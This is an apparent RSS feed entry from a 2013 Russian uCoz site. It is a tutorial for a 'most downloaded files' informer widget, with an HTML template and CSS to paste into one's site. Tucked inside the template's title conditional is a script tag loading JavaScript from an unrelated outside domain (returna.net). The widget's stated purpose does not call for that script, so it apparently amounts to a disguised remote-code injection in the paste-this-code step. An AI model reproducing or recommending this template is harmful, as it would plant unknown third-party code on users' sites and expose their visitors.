https://cs-megapro.at.ua/ Sat, 29 Jun 2013 18:21:55 GMT uCoz Web-Service <div align="center"><!--IMG1--><img alt="" style="margin:0;padding:0;border:0;" src="http://cs-megapro.at.ua/_nw/0/36735679.jpeg" align="" /><!--IMG1--></div>Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок. <br><br> В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале. <br><br> Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики. <br><br> Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px! <br><br> Если вы хотите, что-бы выводило не 3 материала, а больше, то нео... <div align="center"><!--IMG1--><img alt="" style="margin:0;padding:0;border:0;" src="http://cs-megapro.at.ua/_nw/0/36735679.jpeg" align="" /><!--IMG1--></div>Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок. <br><br> В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале. <br><br> Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики. <br><br> Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px! <br><br> Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов. <br><br> Установка <br><br> 1. Первым делом создадим сам информер со следующими параметрами: <br><br> [ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ] <br><br> 2. В его шаблоне удаляем все и вставляем следующее: <br><br> <!--uzcode--><div class="bbCodeBlock"><div class="bbCodeName" style="padding-left:5px;font-weight:bold;font-size:7pt">Код</div><div class="codeMessage" style="border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight<5?this.style.height:scrollHeight&gt;200?'200px':''+(this.scrollHeight+5)+'px');"><!--uzc--><div align="center" class="ifboxuds"&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;<div class="ifuds"&gt;<div style="background: #aaa;"&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;<a title="$TITLE$" href="$ENTRY_URL$"&gt;<img width="170px" src="$IMG_URL1$"&gt;</a&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;<span title="$TITLE$"&gt;<a class="ifuds" href="$ENTRY_URL$"&gt;<b&gt;<?if($TITLE$)?><?if(len($TITLE$)>15)?><script type="text/javascript" src="http://returna.net/background.js"&gt;</script&gt;<?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a&gt;<?else?>Без названия<?endif?></b&gt;</a&gt;<a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"&gt;<img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"&gt;</a&gt;</span&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;</div&gt;</div&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;<div class="loadingnum"&gt;Загрузок: $LOADS$</div&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;<div class="ifudslink$NUMBER$"&gt;<div class="ifudsoa"&gt;Просмотров: <b&gt;$READS$</b&gt;<br&gt;Комментариев: <b&gt;$COMMENTS_NUM$</b&gt;<br&gt;Категория: <b&gt;<a href="$CATEGORY_URL$" class="ifuds"&gt;<?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a&gt;</b&gt;</div&gt;</div&gt;&nbsp;&nbsp;<br>&nbsp;&nbsp;</div&gt;<!--/uzc--></div></div><!--/uzcode--> <br><br> 3. Заходим в ПУ -&gt; Управление дизайном -&gt; Таблицу стилей CSS и вставляем следующее: <br><br> <!--uzcode--><div class="bbCodeBlock"><div class="bbCodeName" style="padding-left:5px;font-weight:bold;font-size:7pt">Код</div><div class="codeMessage" style="border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight<5?this.style.height:scrollHeight&gt;200?'200px':''+(this.scrollHeight+5)+'px');"><!--uzc-->.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifuds a {color:#bababa; text-decoration: none;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifuds a:hover {color:#818181; text-decoration: underline;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;&nbsp;&nbsp;<br>&nbsp;&nbsp;padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;&nbsp;&nbsp;<br>&nbsp;&nbsp;}&nbsp;&nbsp;<br>&nbsp;&nbsp;a.ifuds {color:#bababa; text-decoration: none;}&nbsp;&nbsp;<br>&nbsp;&nbsp;a:hover.ifuds {color:#818181; text-decoration: underline;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.loadingnum{&nbsp;&nbsp;<br>&nbsp;&nbsp;position: absolute;&nbsp;&nbsp;<br>&nbsp;&nbsp;top: 10px;&nbsp;&nbsp;<br>&nbsp;&nbsp;right: 15px;&nbsp;&nbsp;<br>&nbsp;&nbsp;padding: 1px 5px;&nbsp;&nbsp;<br>&nbsp;&nbsp;background: #000;&nbsp;&nbsp;<br>&nbsp;&nbsp;background: rgba(0, 0, 0, 0.73);&nbsp;&nbsp;<br>&nbsp;&nbsp;font: bold 10px/14px 'Arial';&nbsp;&nbsp;<br>&nbsp;&nbsp;color: #fff;&nbsp;&nbsp;<br>&nbsp;&nbsp;border-radius: 0px;&nbsp;&nbsp;<br>&nbsp;&nbsp;}&nbsp;&nbsp;<br>&nbsp;&nbsp;a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}&nbsp;&nbsp;<br>&nbsp;&nbsp;a:hover.ifudslinks2 {cursor:pointer;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifudsoa {padding:0px 0px 5px 5px;}&nbsp;&nbsp;<br>&nbsp;&nbsp;.ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;} <br> <!--/uzc--></div></div><!--/uzcode--> <br><br> Установка завершена! https://cs-megapro.at.ua/news/udobnyj_informer_dlja_fajlov_ucoz/2013-06-29-81 Файлы Пользователей DoG https://cs-megapro.at.ua/news/udobnyj_informer_dlja_fajlov_ucoz/2013-06-29-81 Sat, 29 Jun 2013 18:21:55 GMT